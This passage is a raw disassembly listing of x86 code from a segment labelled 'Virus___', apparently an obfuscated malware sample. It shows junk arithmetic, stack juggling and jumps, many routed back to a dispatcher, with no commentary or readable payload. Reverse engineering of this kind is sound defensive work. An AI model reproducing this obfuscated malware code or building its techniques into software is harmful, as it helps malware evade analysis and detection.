loc_591B58:				; CODE XREF: Virus___:00585436j
		dec	eax
		neg	eax
		push	ebp
		mov	ebp, 1DF51D2Ah
		sub	eax, ebp
		jmp	loc_59309C
; ---------------------------------------------------------------------------


loc_591B68:				; CODE XREF: Virus___:0058B8C8j
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_588547
; ---------------------------------------------------------------------------


loc_591B74:				; CODE XREF: Virus___:0058A930j
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 5A032C15h
		xor	esi, 3F5906E9h
		add	ebx, esi
		pop	esi
		mov	ecx, ebx
		pop	ebx
		add	ecx, edi
		sub	esp, 4
		mov	[esp], eax
		push	0
		jmp	loc_58741A
; ---------------------------------------------------------------------------


loc_591BA4:				; CODE XREF: Virus___:00584BE7j
		push	1196h
		mov	[esp], esi
		mov	esi, 18613CB0h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, 179E6982h
		add	ebp, 0FFFFFFFFh
		jmp	loc_58D8BC
; ---------------------------------------------------------------------------


loc_591BC7:				; CODE XREF: Virus___:00592CEDj
		dec	eax
		xor	eax, 1CDC06F9h
		sub	edi, 72403576h
		add	edi, eax
		jmp	loc_5857F4
; ---------------------------------------------------------------------------


loc_591BDA:				; CODE XREF: Virus___:00586B0Dj
		push	edi
		jmp	loc_581ADC
; ---------------------------------------------------------------------------


loc_591BE0:				; CODE XREF: Virus___:005896F5j
		add	ebp, ebx
		sub	ebp, 2D9978B2h
		add	ebp, 29193D03h
		jmp	loc_582C69
; ---------------------------------------------------------------------------


loc_591BF3:				; CODE XREF: Virus___:005935D6j
		sub	edi, ebp
		add	edi, 762B35C7h
		jmp	loc_584ACF
; ---------------------------------------------------------------------------


loc_591C00:				; CODE XREF: Virus___:00585CBBj
		add	edx, 6D728A7h
		add	edx, esi
		push	edi
		mov	edi, 5FEE3A24h
		push	edi
		push	ebp
		pop	edi
		pop	ebp
		not	ebp
		xchg	ebp, edi
		push	ecx
		mov	ecx, 29440E3Bh
		dec	ecx
		jmp	loc_587A3C
; ---------------------------------------------------------------------------


loc_591C22:				; CODE XREF: Virus___:0058ACF7j
		add	edi, 5DED4694h
		jmp	loc_58A4CA
; ---------------------------------------------------------------------------


loc_591C2D:				; CODE XREF: Virus___:0058B211j
		mov	dh, 0E0h
		push	ax
		jmp	loc_582C8D
; ---------------------------------------------------------------------------


loc_591C36:				; CODE XREF: Virus___:0058CAA7j
		push	7537h
		mov	[esp], eax
		mov	ah, dl
		jmp	loc_586A75
; ---------------------------------------------------------------------------


loc_591C45:				; CODE XREF: Virus___:0058CDA3j
		pop	ebx
		push	edx
		jmp	loc_586F09
; ---------------------------------------------------------------------------


loc_591C4C:				; CODE XREF: Virus___:00585B79j
		push	ebx
		mov	ebx, 31AA76B2h
		jmp	loc_58A0D9
; ---------------------------------------------------------------------------


loc_591C57:				; CODE XREF: Virus___:00584C86j
		add	dword ptr [esp+4], 3F20A21h
		jmp	loc_581680
; ---------------------------------------------------------------------------


loc_591C64:				; CODE XREF: Virus___:0058D497j
		add	esp, 4
		add	eax, 7DE33363h
		push	edi
		mov	edi, 440C0638h
		jmp	loc_58258D
; ---------------------------------------------------------------------------


loc_591C77:				; CODE XREF: Virus___:0058DD68j
		sub	esi, 76C50822h
		dec	esi
		push	ebx
		mov	ebx, 28F21277h
		or	esi, ebx
		pop	ebx
		add	esi, 799D65FBh
		jmp	loc_58A273
; ---------------------------------------------------------------------------


loc_591C92:				; CODE XREF: Virus___:0057FBCEj
		push	ebp
		jmp	loc_57F68D
; ---------------------------------------------------------------------------


loc_591C98:				; CODE XREF: Virus___:0058897Cj
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5901B5
; ---------------------------------------------------------------------------


loc_591CA3:				; CODE XREF: Virus___:0058CD90j
		push	10715728h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_586A3F
; ---------------------------------------------------------------------------


loc_591CB6:				; CODE XREF: Virus___:00583354j
		pop	edi
		mov	ebx, eax
		pop	eax
		add	edx, 3FAD169Dh
		jmp	loc_589C98
; ---------------------------------------------------------------------------


loc_591CC5:				; CODE XREF: Virus___:0058AD44j
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		jmp	loc_58B0AE
; ---------------------------------------------------------------------------


loc_591CDA:				; CODE XREF: Virus___:0058E018j
		mov	eax, 335C4656h
		jmp	loc_593D62
; ---------------------------------------------------------------------------


loc_591CE4:				; CODE XREF: Virus___:005828E9j
		sub	eax, 4992F08h
		sub	eax, 7F356847h
		sub	eax, 17679FAh
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_591D09:				; CODE XREF: Virus___:005937D9j
		pop	ebx
		and	eax, ebx
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58E0E0
; ---------------------------------------------------------------------------


loc_591D1B:				; CODE XREF: Virus___:00588032j
		sub	ebp, 42AD4E0Ah
		add	edi, ebp
		jmp	loc_58493F
; ---------------------------------------------------------------------------


loc_591D28:				; CODE XREF: Virus___:0058617Bj
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		push	4
		jmp	loc_580465
; ---------------------------------------------------------------------------


loc_591D3A:				; CODE XREF: Virus___:0058E9C0j
		shr	ecx, 7
		push	4333h
		jmp	loc_57F3CF
; ---------------------------------------------------------------------------


loc_591D47:				; CODE XREF: Virus___:00588CFBj
		add	bh, 9Dh
		push	ax
		jmp	loc_582261
; ---------------------------------------------------------------------------


loc_591D51:				; CODE XREF: Virus___:0058FF65j
		push	137Fh
		jmp	loc_58ADA2
; ---------------------------------------------------------------------------


loc_591D5B:				; CODE XREF: Virus___:00587AF8j
		add	edx, 4
		jmp	loc_581691
; ---------------------------------------------------------------------------


loc_591D66:				; CODE XREF: Virus___:00590937j
		mov	esp, [esp]
		movsx	cx, al
		jmp	loc_580414
; ---------------------------------------------------------------------------


loc_591D72:				; CODE XREF: Virus___:005906F4j
		pop	esp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_58E235
; ---------------------------------------------------------------------------


loc_591D91:				; CODE XREF: Virus___:00580B08j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ebx, eax
		push	ebx
		mov	ebx, 2Ch
		add	ebx, 0FA83992h
		sub	ebx, 47FE742Bh
		jmp	loc_588112
; ---------------------------------------------------------------------------


loc_591DB4:				; CODE XREF: Virus___:005944F1j
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_591DC0:				; CODE XREF: Virus___:00591A92j
		pop	edx
		push	ebp
		mov	ebp, 28C86C2Dh
		push	edx
		mov	edx, 170328Dh
		add	ebp, 7E8B7474h
		add	ebp, 5E662702h
		sub	ebp, edx
		jmp	loc_58929D
; ---------------------------------------------------------------------------


loc_591DE0:				; CODE XREF: Virus___:00592C50j
		shr	ebp, 3
		sub	ebp, 3A80784h
		push	ebx
		jmp	loc_581D8D
; ---------------------------------------------------------------------------


loc_591DEF:				; CODE XREF: Virus___:0059025Ej
		sub	ecx, esi
		sub	ecx, 6D9367B4h
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_589057
; ---------------------------------------------------------------------------


loc_591E02:				; CODE XREF: Virus___:00590CCDj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		push	ebp
		mov	ebp, 71D736E6h
		not	ebp
		shr	ebp, 6
		xchg	edx, ebp
		jmp	loc_5834FB
; ---------------------------------------------------------------------------


loc_591E29:				; CODE XREF: Virus___:00582360j
		add	esp, 4
		push	edi
		jmp	loc_583CFE
; ---------------------------------------------------------------------------


loc_591E32:				; CODE XREF: Virus___:00581C61j
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, edi
		pop	edi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_581FDD
; ---------------------------------------------------------------------------


loc_591E47:				; CODE XREF: Virus___:00582C5Aj
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_584642
; ---------------------------------------------------------------------------


loc_591E50:				; CODE XREF: Virus___:005874FFj
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_582137
; ---------------------------------------------------------------------------


loc_591E63:				; CODE XREF: Virus___:00593E73j
		mov	[esp], ecx
		push	27C56654h
		jmp	loc_58F7FF
; ---------------------------------------------------------------------------


loc_591E70:				; CODE XREF: Virus___:0058E87Fj
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_59415F
; ---------------------------------------------------------------------------


loc_591E83:				; CODE XREF: Virus___:005864D9j
		not	ecx
		jmp	loc_583FFD
; ---------------------------------------------------------------------------


loc_591E8A:				; CODE XREF: Virus___:00586BBCj
		mov	ch, 60h
		not	ch
		shr	ch, 4
		and	ch, 22h
		dec	ch
		xor	ch, 0E8h
		sub	al, ch
		mov	ecx, [esp]
		jmp	loc_585DA1
; ---------------------------------------------------------------------------


loc_591EA3:				; CODE XREF: Virus___:0058502Bj
		xor	ecx, 637B4F8Eh
		push	ecx
		pop	edx
		jmp	loc_58D485
; ---------------------------------------------------------------------------


loc_591EB0:				; CODE XREF: Virus___:00592FE4j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_583735
; ---------------------------------------------------------------------------


loc_591EB9:				; CODE XREF: Virus___:0057F82Ej
		mov	esp, [esp]
		jmp	loc_593E28
; ---------------------------------------------------------------------------


loc_591EC1:				; CODE XREF: Virus___:005832A2j
		sub	esi, 62D8663Ah
		sub	esi, eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58BAE3
; ---------------------------------------------------------------------------


loc_591ED4:				; CODE XREF: Virus___:005815A7j
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 2
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	bh, 0A5h
		jmp	loc_58D4B4
; ---------------------------------------------------------------------------


loc_591EF0:				; CODE XREF: Virus___:0059457Cj
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_591F0B:				; CODE XREF: Virus___:005909C9j
		mov	[esp], eax
		mov	eax, 90B503Ch
		jmp	loc_594204
; ---------------------------------------------------------------------------


loc_591F18:				; CODE XREF: Virus___:00589A19j
		add	esi, 7EF52105h
		add	esi, eax
		sub	esi, 7EF52105h
		sub	esi, 398338D5h
		push	4BC2h
		mov	[esp], eax
		jmp	loc_5816F4
; ---------------------------------------------------------------------------


loc_591F39:				; CODE XREF: Virus___:0058FA2Dj
		push	ebp
		mov	ebp, 11A061B0h
		not	ebp
		or	ebp, 3FF066F6h
		add	ebp, 23DD1BEFh
		xor	esi, ebp
		pop	ebp
		sub	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 69987224h
		sub	eax, ebp
		pop	ebp
		add	eax, 7137CEFh
		add	eax, ebx
		jmp	loc_589109
; ---------------------------------------------------------------------------


loc_591F68:				; CODE XREF: Virus___:0058E067j
		mov	edi, 536D5CD1h
		jmp	loc_580628
; ---------------------------------------------------------------------------


loc_591F72:				; CODE XREF: Virus___:005806CDj
		add	esp, 4
		jmp	loc_587BA9
; ---------------------------------------------------------------------------


loc_591F7A:				; CODE XREF: Virus___:0058E929j
		sub	ebx, eax
		sub	ebx, 74A362C0h
		push	ecx
		mov	ecx, 0FB73002h
		sub	ecx, 0F1B4E4BCh
		add	ebx, ecx
		pop	ecx
		sub	ebx, 804251Ch
		add	ebx, 607954BFh
		add	ebx, 49CB5938h
		sub	ebx, 1C99070Eh
		pop	small word ptr [eax]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_591FB1:				; CODE XREF: Virus___:0059350Ej
		mov	edx, 77C76D8Eh
		neg	edx
		jmp	loc_58C34A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_593545
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	432Ah
		jmp	loc_585A5E
; ---------------------------------------------------------------------------


loc_591FD6:				; CODE XREF: Virus___:005843B6j
		push	edx
		mov	edx, 3D25451Ch
		dec	edx
		jmp	loc_5866FF
; ---------------------------------------------------------------------------


loc_591FE2:				; CODE XREF: Virus___:0058C644j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0B2h
		inc	dh
		jmp	loc_580DE8
; ---------------------------------------------------------------------------


loc_591FF5:				; CODE XREF: Virus___:0058498Aj
		sub	esi, 0DA3D38D2h
		xor	eax, esi
		jmp	loc_582205
; ---------------------------------------------------------------------------


loc_592002:				; CODE XREF: Virus___:0058B477j
		push	ecx
		push	eax
		mov	eax, 1B92130Fh
		mov	ecx, 24E30BEAh
		add	ecx, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5811C0
; ---------------------------------------------------------------------------


loc_592021:				; CODE XREF: Virus___:0058C833j
		mov	esi, 23133C14h
		sub	ecx, esi
		pop	esi
		add	ecx, 7F631DA8h
		jmp	loc_592257
; ---------------------------------------------------------------------------


loc_592034:				; CODE XREF: Virus___:005904B4j
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		push	esi
		mov	esi, 572B41C5h
		sub	esi, 0F7553702h
		mov	ebp, esi
		pop	esi
		shl	ebp, 5
		add	ebp, 60DB5B01h
		shl	ebp, 4
		jmp	loc_58BE62
; ---------------------------------------------------------------------------


loc_59205A:				; CODE XREF: Virus___:0058D04Aj
		push	773Ch
		mov	[esp], ecx
		jmp	loc_582E7C
; ---------------------------------------------------------------------------


loc_592067:				; CODE XREF: Virus___:00584F2Fj
		push	519Fh
		mov	[esp], ecx
		mov	ch, 47h
		jmp	loc_587177
; ---------------------------------------------------------------------------


loc_592076:				; CODE XREF: Virus___:00588BD5j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_592C55
; ---------------------------------------------------------------------------


loc_59208A:				; CODE XREF: Virus___:0058E8AFj
		pop	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_58A3D5
; ---------------------------------------------------------------------------


loc_5920B1:				; CODE XREF: Virus___:00582055j
		add	[esp+4], ebp
		pop	ebp
		pop	eax
		sub	eax, 449B7E3Eh
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 16E4A74h
		push	ebp
		mov	ebp, 409F5030h
		jmp	loc_592E8C
; ---------------------------------------------------------------------------


loc_5920D3:				; CODE XREF: Virus___:005938E4j
		and	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 14A27561h
		shr	eax, 5
		jmp	loc_585E5E
; ---------------------------------------------------------------------------


loc_5920E9:				; CODE XREF: Virus___:0058B462j
		mov	edi, [esp]
		add	esp, 4
		push	0
		sub	dword ptr [esp], 49EF3058h
		sub	[esp], edi
		add	dword ptr [esp], 49EF3058h
		pop	edi
		and	edi, 461F6C11h
		jmp	loc_58E44D
; ---------------------------------------------------------------------------


loc_592111:				; CODE XREF: Virus___:0058C2FFj
		push	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 5D4132C2h
		jmp	loc_583190
; ---------------------------------------------------------------------------


loc_592123:				; CODE XREF: Virus___:00581B44j
		pop	esp
		mov	[esp], edi
		jmp	loc_58F923
; ---------------------------------------------------------------------------


loc_59212C:				; CODE XREF: Virus___:00594051j
		mov	[esp], ebx
		mov	ebx, 67FDFDFAh
		xor	ecx, ebx
		pop	ebx
		push	ecx
		push	eax
		push	4D2F7852h
		jmp	loc_5928C4
; ---------------------------------------------------------------------------


loc_592143:				; CODE XREF: Virus___:0057F528j
		mov	ecx, [esp]
		push	edx
		jmp	loc_58D188
; ---------------------------------------------------------------------------


loc_59214C:				; CODE XREF: Virus___:00588E66j
		push	edx
		mov	edx, ecx
		push	edx
		xor	dword ptr [esp], 7ABF67DBh
		jmp	loc_58CD7B
; ---------------------------------------------------------------------------


loc_59215C:				; CODE XREF: Virus___:005811C7j
		or	ebx, ecx
		pop	ecx
		jmp	loc_583245
; ---------------------------------------------------------------------------


loc_592164:				; CODE XREF: Virus___:00583AAFj
		shr	esi, 1
		and	esi, 2F5B2FDAh
		xor	esi, 1898350Eh
		push	ebx
		mov	ebx, 38421B6h
		sub	ebx, 304E0AC8h
		jmp	loc_58730E
; ---------------------------------------------------------------------------


loc_592183:				; CODE XREF: Virus___:0058ACBFj
		mov	edx, eax
		pop	eax
		add	edi, edx
		jmp	loc_5832E0
; ---------------------------------------------------------------------------


loc_59218D:				; CODE XREF: Virus___:0058BDD1j
		add	ecx, 0BDD53FB1h
		sub	edi, 3A402FEAh
		jmp	loc_5872CA
; ---------------------------------------------------------------------------


loc_59219E:				; CODE XREF: Virus___:0058E97Cj
		push	ecx
		push	eax
		push	ecx
		jmp	loc_580AF5
; ---------------------------------------------------------------------------


loc_5921A6:				; CODE XREF: Virus___:005801EEj
		xor	[esp+4], edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_593AA2
; ---------------------------------------------------------------------------


loc_5921B6:				; CODE XREF: Virus___:00587E52j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_58E5D6
; ---------------------------------------------------------------------------


loc_5921D9:				; CODE XREF: Virus___:00580BD1j
		push	esi
		mov	esi, 112D370Ch
		sub	esi, 9B08E405h
		and	ebp, esi
		jmp	loc_5848C9
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_582D50
; ---------------------------------------------------------------------------


loc_5921FB:				; CODE XREF: Virus___:00593F7Dj
		mov	eax, 4
		jmp	loc_5840AD
; ---------------------------------------------------------------------------


loc_592205:				; CODE XREF: Virus___:00587048j
		add	esp, 4
		xor	ebx, eax
		push	20F3h
		mov	[esp], ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_580CCF
; ---------------------------------------------------------------------------


loc_59222F:				; CODE XREF: Virus___:00586EF8j
		add	esi, 0F392017Ah
		sub	edx, esi
		pop	esi
		xor	edx, 0F03BD5B0h
		add	ebp, 706809EEh
		jmp	loc_586311
; ---------------------------------------------------------------------------


loc_592249:				; CODE XREF: Virus___:00583B6Ej
		add	esp, 4
		push	ecx
		mov	ecx, 5074193Fh
		jmp	loc_581DEF
; ---------------------------------------------------------------------------


loc_592257:				; CODE XREF: Virus___:0059202Fj
		mov	edi, [esp]
		jmp	loc_58F3BB
; ---------------------------------------------------------------------------


loc_59225F:				; CODE XREF: Virus___:0058AFE7j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_58066B
; ---------------------------------------------------------------------------


loc_59226A:				; CODE XREF: Virus___:005871A6j
		add	edx, 4
		add	edx, 2
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_592596
; ---------------------------------------------------------------------------


loc_592284:				; CODE XREF: Virus___:0058108Fj
		mov	dl, al
		mov	ch, dl
		pop	edx
		pop	eax
		push	ebx
		mov	bh, ch
		mov	[edi+eax*4+1], bh
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_590BC0
; ---------------------------------------------------------------------------


loc_59229A:				; CODE XREF: Virus___:00590BBBj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	3E3Dh
		mov	[esp], ecx
		push	3932h
		mov	[esp], esp
		push	ebx
		jmp	loc_58DDD7
; ---------------------------------------------------------------------------


loc_5922BA:				; CODE XREF: Virus___:00589840j
		inc	edx
		add	edx, 44796B8Ah
		push	edi
		jmp	loc_58D213
; ---------------------------------------------------------------------------


loc_5922C7:				; CODE XREF: Virus___:005944F9j
		shl	ebp, 1
		jmp	loc_58F736
; ---------------------------------------------------------------------------


loc_5922CE:				; CODE XREF: Virus___:0058E400j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	356Dh
		mov	[esp], ebx
		mov	ebx, 4D977AF6h
		not	ebx
		add	ebx, 41A81F3Bh
		sub	ebx, 24917479h
		add	ebx, 1
		jmp	loc_58E1DF
; ---------------------------------------------------------------------------


loc_592301:				; CODE XREF: Virus___:0058EB6Bj
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, 7D99056Fh
		push	edi
		jmp	loc_58D575
; ---------------------------------------------------------------------------


loc_592314:				; CODE XREF: Virus___:00582397j
		add	esp, 4
		push	ecx
		mov	ecx, 588F3874h
		and	ebp, ecx
		pop	ecx
		sub	ebp, 50090070h
		jmp	loc_5853AD
; ---------------------------------------------------------------------------


loc_59232B:				; CODE XREF: Virus___:005914D2j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	ecx
		push	394B4123h
		pop	ecx
		sub	ecx, 35391211h
		or	ecx, 4FB13BB3h
		push	ebx
		mov	ebx, 7570E43h
		push	ecx
		mov	ecx, 2622D41h
		xor	ebx, ecx
		pop	ecx
		and	ecx, ebx
		pop	ebx
		jmp	loc_580BEF
; ---------------------------------------------------------------------------


loc_592364:				; CODE XREF: Virus___:00590DFDj
		neg	bl
		shr	bl, 8
		jmp	loc_585234
; ---------------------------------------------------------------------------


loc_59236E:				; CODE XREF: Virus___:0058A1B9j
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_580C1A
; ---------------------------------------------------------------------------


loc_592378:				; CODE XREF: Virus___:00586904j
		push	small word ptr [eax]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_592380:				; CODE XREF: Virus___:00588862j
		pop	edi
		push	7BC6h
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	eax, 30D62FDAh
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		sub	esp, 4
		jmp	loc_587F45
; ---------------------------------------------------------------------------


loc_5923B1:				; CODE XREF: Virus___:0058B0FFj
		not	dh
		sub	dh, 1Fh
		sub	dh, 9Ah
		push	eax
		mov	ah, 0C2h
		push	ecx
		mov	ch, 5Ch
		add	dh, ch
		jmp	loc_587294
; ---------------------------------------------------------------------------


loc_5923C6:				; CODE XREF: Virus___:00585FFBj
		mov	ebx, 0CEBC19E9h
		add	ebx, edi
		pop	edi
		xor	ebx, edi
		pop	edi
		jmp	loc_58C590
; ---------------------------------------------------------------------------


loc_5923D6:				; CODE XREF: Virus___:00587BCBj
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_58A44E
; ---------------------------------------------------------------------------


loc_5923F7:				; CODE XREF: Virus___:00580FA4j
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_580281
; ---------------------------------------------------------------------------


loc_592404:				; CODE XREF: Virus___:0058F1C3j
		push	esi
		push	esp
		pop	esi
		push	ecx
		push	ebx
		push	61214A31h
		pop	ebx
		jmp	loc_58D766
; ---------------------------------------------------------------------------


loc_592414:				; CODE XREF: Virus___:0058671Dj
		and	ebx, 3E9F6DA5h
		sub	ebx, 0EAB1681Dh
		xor	eax, ebx
		pop	ebx
		push	ebx
		mov	ebx, eax
		mov	edi, ebx
		pop	ebx
		pop	eax
		push	ebp
		jmp	loc_58737B
; ---------------------------------------------------------------------------


loc_592430:				; CODE XREF: Virus___:00582C27j
		pop	ebx
		jmp	loc_58F39D
; ---------------------------------------------------------------------------


loc_592436:				; CODE XREF: Virus___:0058BB0Fj
		pop	edi
		jmp	loc_583A45
; ---------------------------------------------------------------------------


loc_59243C:				; CODE XREF: Virus___:005827CEj
		push	ebx
		jmp	loc_581CCD
; ---------------------------------------------------------------------------


loc_592442:				; CODE XREF: Virus___:005843E6j
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57F5ED
; ---------------------------------------------------------------------------


loc_592461:				; CODE XREF: Virus___:00590B50j
		xor	edx, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_592471:				; CODE XREF: Virus___:005915A7j
		pop	ebp
		push	eax
		push	2360h
		mov	[esp], edi
		mov	edi, 40D61CBh
		mov	eax, edi
		jmp	loc_58E37F
; ---------------------------------------------------------------------------


loc_592487:				; CODE XREF: Virus___:00586652j
		add	ecx, 2
		push	2870h
		mov	[esp], ecx
		jmp	loc_586212
; ---------------------------------------------------------------------------


loc_59249A:				; CODE XREF: Virus___:00592F26j
		pop	ecx
		push	edx
		jmp	loc_58D49C
; ---------------------------------------------------------------------------


loc_5924A1:				; CODE XREF: Virus___:00589620j
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 0CDD6153h
		sub	edx, ebx
		pop	ebx
		add	edx, ebx
		add	edx, 6BB10A38h
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_5827C2
; ---------------------------------------------------------------------------


loc_5924C6:				; CODE XREF: Virus___:0058EE0Aj
		pop	ecx
		jmp	loc_584B18
; ---------------------------------------------------------------------------


loc_5924CC:				; CODE XREF: Virus___:005934DAj
		mov	ebx, 0DBF66F6h
		xor	ebx, 0E77770Dh
		sub	esi, ebx
		jmp	loc_593183
; ---------------------------------------------------------------------------


loc_5924DE:				; CODE XREF: Virus___:005800DCj
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 6F0106D1h
		mov	edx, 23DD691Ah
		jmp	loc_583D19
; ---------------------------------------------------------------------------


loc_5924F2:				; CODE XREF: Virus___:005840F5j
		shl	ebp, 5
		neg	ebp
		xor	ebp, 58D87CC4h
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_580C9A
; ---------------------------------------------------------------------------


loc_592508:				; CODE XREF: Virus___:0058AF22j
		sub	eax, 0E207A9FEh
		add	ebx, eax
		pop	eax
		add	ebx, 7B25302Bh
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 6AEE7AEFh
		sub	ebp, 4C256E46h
		sub	ebp, 0A65B8E4Dh
		sub	ebx, ebp
		pop	ebp
		sub	ebx, eax
		add	ebx, 786D7E5Ch
		push	edx
		mov	edx, 0E047359h
		sub	ebx, edx
		jmp	loc_58F257
; ---------------------------------------------------------------------------


loc_592546:				; CODE XREF: Virus___:0058E1E7j
		pop	ebx
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 0Ah
		push	ebp
		push	esp
		jmp	loc_57F89B
; ---------------------------------------------------------------------------


loc_592562:				; CODE XREF: Virus___:00587E08j
		mov	ebp, esp
		push	ebx
		mov	ebx, 33D676D6h
		add	ebx, 1
		shr	ebx, 2
		not	ebx
		shr	ebx, 1
		xor	ebx, 79853121h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	7624h
		jmp	loc_5859B2
; ---------------------------------------------------------------------------


loc_592596:				; CODE XREF: Virus___:0059227Fj
		pop	esp
		jmp	loc_58C3C4
; ---------------------------------------------------------------------------


loc_59259C:				; CODE XREF: Virus___:00582BCEj
		neg	esi
		xor	esi, 7BE003Fh
		sub	esi, 42196727h
		add	esi, 0F0ECF9C6h
		jmp	loc_5810E2
; ---------------------------------------------------------------------------


loc_5925B5:				; CODE XREF: Virus___:005820E0j
		pop	esp
		mov	[esp], esi
		mov	esi, 1E3C14BDh
		push	esi
		mov	esi, 3E4E59C2h
		mov	eax, 120ED1D4h
		xor	eax, esi
		pop	esi
		sub	eax, esi
		pop	esi
		sub	ebx, 7B25302Bh
		sub	ebx, 2E4A672Fh
		add	ebx, eax
		jmp	loc_58A3E7
; ---------------------------------------------------------------------------


loc_5925E2:				; CODE XREF: Virus___:00586422j
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		push	edi
		mov	edi, 3C1C03ABh
		sub	edi, 5211F7Bh
		jmp	loc_5815FC
; ---------------------------------------------------------------------------


loc_5925FF:				; CODE XREF: Virus___:0058EC69j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 392A6D8Ch
		xor	edi, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_58ACC4
; ---------------------------------------------------------------------------


loc_592630:				; CODE XREF: Virus___:0058629Ej
		sub	esp, 4
		mov	[esp], eax
